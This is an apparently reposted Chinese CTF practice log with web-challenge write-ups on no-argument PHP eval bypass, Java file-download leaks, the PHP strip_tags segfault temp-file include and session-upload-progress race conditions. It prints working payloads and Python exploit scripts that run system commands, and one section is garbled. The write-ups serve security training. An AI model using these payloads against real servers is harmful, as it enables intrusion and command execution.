我的编程空间,编程开发者的网络收藏夹
学习永远不晚

预备-刷题记录二

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

预备-刷题记录二

[鹏城杯 2022]简单的php

首先打开题目得到:

代码:

show_source(__FILE__);    $code = $_GET['code'];    if(strlen($code) > 80 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/is',$code)){        die(' Hello');    }else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){        @eval($code);    }?> 

分析代码发现第一个判断语句过滤了字母数字和一些字符,就可以考虑用取反,异化来绕过

第二个判断限定了只能用函数的方式,并且函数里面不能有参数,例如:system() 或者 system(fun())能过判断

所有是无参数,REC

首先可以想到用php中的函数
getallheaders()获取请求头

current()获取第一键值

大体思路是:利用getallheaders()获取我们在请求头传入的命令,在用current()获取第一值,所以我们的命令要在第一个键值对,在利用system执行系统函数
所以传入的是:system(current(getallheaders()));
当我们在进行取反时是:~取反函数字符
这样执行php会报错,我们可以加入一些无效的字符
来解决报错的问题例如:[!%FF]

php脚本:

show_source(__FILE__);//[~%8c%86%8c%8b%9a%92]([~%9c%8a%8d%8d%9a%91%8b]([~%98%9a%8b%9e%93%93%97%9a%9e%9b%9a%8d%8c]())); $c1='system';$c2='+';$c3='getallheaders';//https://blog.csdn.net/qq_62260856/article/details/129535572$p1=urlencode(~$c1);$p2=urlencode(~$c2);$p3=urlencode(~$c3);echo '
'
.'[~'.$p1.']'.'[!%FF]'.'('.'[~'.$p2.']'.'[!%FF]'.'('.'[~'.$p3.']'.'[!%FF]'.'('.')'.')'.');';?>

得到payload:

[~%8c%86%8c%8b%9a%92]([~%9c%8a%8d%8d%9a%91%8b]([~%98%9a%8b%9e%93%93%97%9a%9e%9b%9a%8d%8c]()));

利用burpsuite得到flag

在这里插入图片描述

[RoarCTF 2019]Easy Java

首先打开题目得到一个登陆界面:

在这里插入图片描述

通过搜寻信息得到:

url:http://313a380f-b897-494f-b5ae-f6d09ad9d5c3.node4.buuoj.cn:81/Download?filename=help.docx
在这里插入图片描述
在这里插入图片描述

发现存在信息泄露:

在这里插入图片描述

打开文件得到xml文件:

<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"         version="4.0">    <welcome-file-list>        <welcome-file>Indexwelcome-file>    welcome-file-list>    <servlet>        <servlet-name>IndexControllerservlet-name>        <servlet-class>com.wm.ctf.IndexControllerservlet-class>    servlet>    <servlet-mapping>        <servlet-name>IndexControllerservlet-name>        <url-pattern>/Indexurl-pattern>    servlet-mapping>    <servlet>        <servlet-name>LoginControllerservlet-name>        <servlet-class>com.wm.ctf.LoginControllerservlet-class>    servlet>    <servlet-mapping>        <servlet-name>LoginControllerservlet-name>        <url-pattern>/Loginurl-pattern>    servlet-mapping>    <servlet>        <servlet-name>DownloadControllerservlet-name>        <servlet-class>com.wm.ctf.DownloadControllerservlet-class>    servlet>    <servlet-mapping>        <servlet-name>DownloadControllerservlet-name>        <url-pattern>/Downloadurl-pattern>    servlet-mapping>    <servlet>        <servlet-name>FlagControllerservlet-name>        <servlet-class>com.wm.ctf.FlagControllerservlet-class>    servlet>    <servlet-mapping>        <servlet-name>FlagControllerservlet-name>        <url-pattern>/Flagurl-pattern>    servlet-mapping>web-app>

审计发现,flag在/com/wm/ctf/FlagController.class
的文件中

利用filename读取FlagController.class文件

得到:

在这里插入图片描述得到FlagController.class,利用工具jd-gui反编译class文件得到java文件:
在这里插入图片描述

得到flag解码得到flag

[NPUCTF2020]ezinclude

大开题目得到:

在这里插入图片描述
收集信息在源码处得到

在这里插入图片描述
传入name和pass试试
得到:

在这里插入图片描述
发现Hash值不会会变化,猜测Hash是应该是secret的值加密的结果
让name值为空,pss也等于Hash值试试:

在这里插入图片描述
登陆成功得到地址:flflflflag.php

利用burpsuite发包得到:

在这里插入图片描述
发现存在文件包含,get一个file
发现可以利用php伪协议读取源码但没什么用
于是就在信息收集扫描目录发现dir.php目录

在这里插入图片描述

利用php7 segment fault特性(CVE-2018-14884)

简单的说就是,php://filter的strip_tags过滤器,可以让php执行的时候直接出现Segment Fault,这样php的垃圾回收机制就不会继续执行,导致post的文件会保存在系统的缓冲目录,我们只需要获取保存在文件名,就可以包含恶意代码。

过滤器会导致php崩溃,如果同时上传一个文件,那么这个tmp file就会一直留在tmp目录,临时文件会保存在upload_tmp_dir所指定的目录下,默认为tmp文件夹。

利用条件:

php7.0.0-7.1.2可以利用, 7.1.2x版本的已被修复php7.1.3-7.2.1可以利用, 7.2.1x版本的已被修复php7.2.2-7.2.8可以利用, 7.2.9一直到7.3到现在的版本已被修复可以获取文件名源代码将GET参数进行文件包含

所有我们利用file文件包含执行php://filter/string.strip_tags/resource=/etc/passwd
页面就会崩溃,这时候我们通过脚本上传post文件,文件中包含恶意代码就可以getshell 了

import requestsfrom io import BytesIOpayload =""file_data={   'file': BytesIO(payload.encode())}url="http://65b005d1-4164-4a10-8ed7-494a0db6e72a.node4.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"try:   r=requests.post(url=url,files=file_data,allow_redirects=False)except:        print(1)print(r.text)

在这里插入图片描述利用文件包含执行代码得到flag:

在这里插入图片描述

[第五空间 2021]EasyCleanup

首先打开题目得到:

 <?php if(!isset($_GET['mode'])){     highlight_file(__file__); }else if($_GET['mode'] == "eval"){     $shell = isset($_GET['shell']) ? $_GET['shell'] : 'phpinfo();';     if(strlen($shell) > 15 | filter($shell) | checkNums($shell)) exit("hacker");     eval($shell); } if(isset($_GET['file'])){     if(strlen($_GET['file']) > 15 | filter($_GET['file'])) exit("hacker");     include $_GET['file']; } function filter($var){     $banned = ["while", "for", "\$_", "include", "env", "require", "?", ":", "^", "+", "-", "%", "*", "`"];     foreach($banned as $ban){         if(strstr($var, $ban)) return True;     }     return False; } function checkNums($var){     $alphanum = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';     $cnt = 0;     for($i = 0; $i < strlen($alphanum); $i++){         for($j = 0; $j < strlen($var); $j++){             if($var[$j] == $alphanum[$i]){                 $cnt += 1;                 if($cnt > 8) return True;             }         }     }     return False; } ?> 

通过测试发现利用eval执行函数不能得到flag

开始考虑利用函数include

PHP LFI本地文件包含漏洞主要是包含本地服务器上存储的一些文件,例如 session 文件、日志文件、临时文件等。但是,只有我们能够控制包含的文件存储我们的恶意代码才能拿到服务器权限。假如在服务器上找不到我们可以包含的文件,那该怎么办?此时可以通过利用一些技巧让服务存储我们恶意生成的文件,该文件包含我们构造的的恶意代码,此时服务器就存在我们可以包含的文件了。

首先看利用最方便的日志文件包含,日志文件目录路径一般过长,会被过滤掉而无法包含

session文件包含

然后尝试用session文件包含,一般利用GET传参将我们构造好的恶意代码传入session中的,php 5.4后添加了 session.upload_progress 功能,这个功能开启意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中,利用这个特性可以将恶意语句写入session文件。

访问phpinfo查看session开启情况

在这里插入图片描述

这种利用方式需要满足下面几个条件:

目标环境开启了session.upload_progress.enable选项发送一个文件上传请求,其中包含一个文件表单和一个名字是PHP_SESSION_UPLOAD_PROGRESS的字段请求的Cookie中包含Session ID

编写python竞争脚本执行命令:

import ioimport requestsimport threading  # 多线程from cffi.backend_ctypes import xrangesessid = '0'target = 'http://1.14.71.254:28231'file = 'ph0ebus.txt'f = io.BytesIO(b'a' * 1024 * 50)def write(session):    while True:        session.post(target, data={'PHP_SESSION_UPLOAD_PROGRESS': ''},                     files={'file': (file, f)}, cookies={'PHPSESSID': sessid})def read(session):    while True:        resp = session.post(            f"{target}?mode=foo&file=/tmp/sess_{sessid}&cmd=system('cd /;ls;cat nssctfasdasdflag');")        if file in resp.text:            print(resp.text)            event.clear()        else:            print("[+]retry")if __name__ == "__main__":    event = threading.Event()    with requests.session() as session:        for i in xrange(1, 30):            threading.Thread(target=write, args=(session,)).start()        for i in xrange(1, 30):            threading.Thread(target=read, args=(session,)).start()    event.set()

得到flag

在这里插入图片描述

[鹏城杯 2022]压缩包

打开题目得到源码

highlight_file(__FILE__);function removedir($dir){    $list= scandir($dir);    foreach ($list as  $value) {       if(is_file($dir.'/'.$value)){         unlink($dir.'/'.$value);       }else if($value!="."&&$value!=".."){                removedir($dir.'/'.$value);       }    }}function unzip($filename){        $result = [];        $zip = new ZipArchive();        $zip->open($filename);        $dir = $_SERVER['DOCUMENT_ROOT']."/static/upload/".md5($filename);        if(!is_dir($dir)){            mkdir($dir);        }        if($zip->extractTo($dir)){        foreach (scandir($dir) as  $value) {            $file_ext=strrchr($value, '.');            $file_ext=strtolower($file_ext); //转换为小写            $file_ext=str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA            $file_ext=trim($file_ext); //收尾去空            if(is_dir($dir."/".$value)&&$value!="."&&$value!=".."){                removedir($dir);            }            if(!preg_match("/jpg|png|gif|jpeg/is",$file_ext)){                if(is_file($dir."/".$value)){                    unlink($dir."/".$value);                }else{                    if($value!="."&&$value!="..")                    array_push($result,$value);                }}                   }        $zip->close();        unlink($filename);        return json_encode($result);        }else{            return false;        }    }$content= $_REQUEST['content'];shell_exec('rm -rf /tmpunionselect1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'%23

源码base64解码得到flag

在这里插入图片描述

在这里插入图片描述

来源地址:https://blog.csdn.net/plant1234/article/details/129471527

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

预备-刷题记录二

下载Word文档到电脑,方便收藏和打印~

下载Word文档

猜你喜欢

android图像绘制(三)画布刷屏问题记录

在canvas中绘制动态图的时候,如果使用了一个固定的背景图片,只有一个小小的精灵在移动! 这样的情况下却不得不在没帧中重新绘制背景图片,使得效率降低!尝试过各种方法,最终还是失败了! 如果有人有好的方法,可以提供一下,谢谢! 以下是在探索
2022-06-06

阿里云图片上传OSS成功后打开地址不能预览只能下载问题记录

        由于业务需要,最近从OSS新创建了一个bucket,使用之前的上传代码进行上传图片时可以看到图片上传成功,但是打开图片地址之后不能正常访问,浏览器会提示进行下载.好奇同样的代码,另一个bucket能正常上传,但是新创建的bu
2023-08-20

编程热搜

  • Python 学习之路 - Python
    一、安装Python34Windows在Python官网(https://www.python.org/downloads/)下载安装包并安装。Python的默认安装路径是:C:\Python34配置环境变量:【右键计算机】--》【属性】-
    Python 学习之路 - Python
  • chatgpt的中文全称是什么
    chatgpt的中文全称是生成型预训练变换模型。ChatGPT是什么ChatGPT是美国人工智能研究实验室OpenAI开发的一种全新聊天机器人模型,它能够通过学习和理解人类的语言来进行对话,还能根据聊天的上下文进行互动,并协助人类完成一系列
    chatgpt的中文全称是什么
  • C/C++中extern函数使用详解
  • C/C++可变参数的使用
    可变参数的使用方法远远不止以下几种,不过在C,C++中使用可变参数时要小心,在使用printf()等函数时传入的参数个数一定不能比前面的格式化字符串中的’%’符号个数少,否则会产生访问越界,运气不好的话还会导致程序崩溃
    C/C++可变参数的使用
  • css样式文件该放在哪里
  • php中数组下标必须是连续的吗
  • Python 3 教程
    Python 3 教程 Python 的 3.0 版本,常被称为 Python 3000,或简称 Py3k。相对于 Python 的早期版本,这是一个较大的升级。为了不带入过多的累赘,Python 3.0 在设计的时候没有考虑向下兼容。 Python
    Python 3 教程
  • Python pip包管理
    一、前言    在Python中, 安装第三方模块是通过 setuptools 这个工具完成的。 Python有两个封装了 setuptools的包管理工具: easy_install  和  pip , 目前官方推荐使用 pip。    
    Python pip包管理
  • ubuntu如何重新编译内核
  • 改善Java代码之慎用java动态编译

目录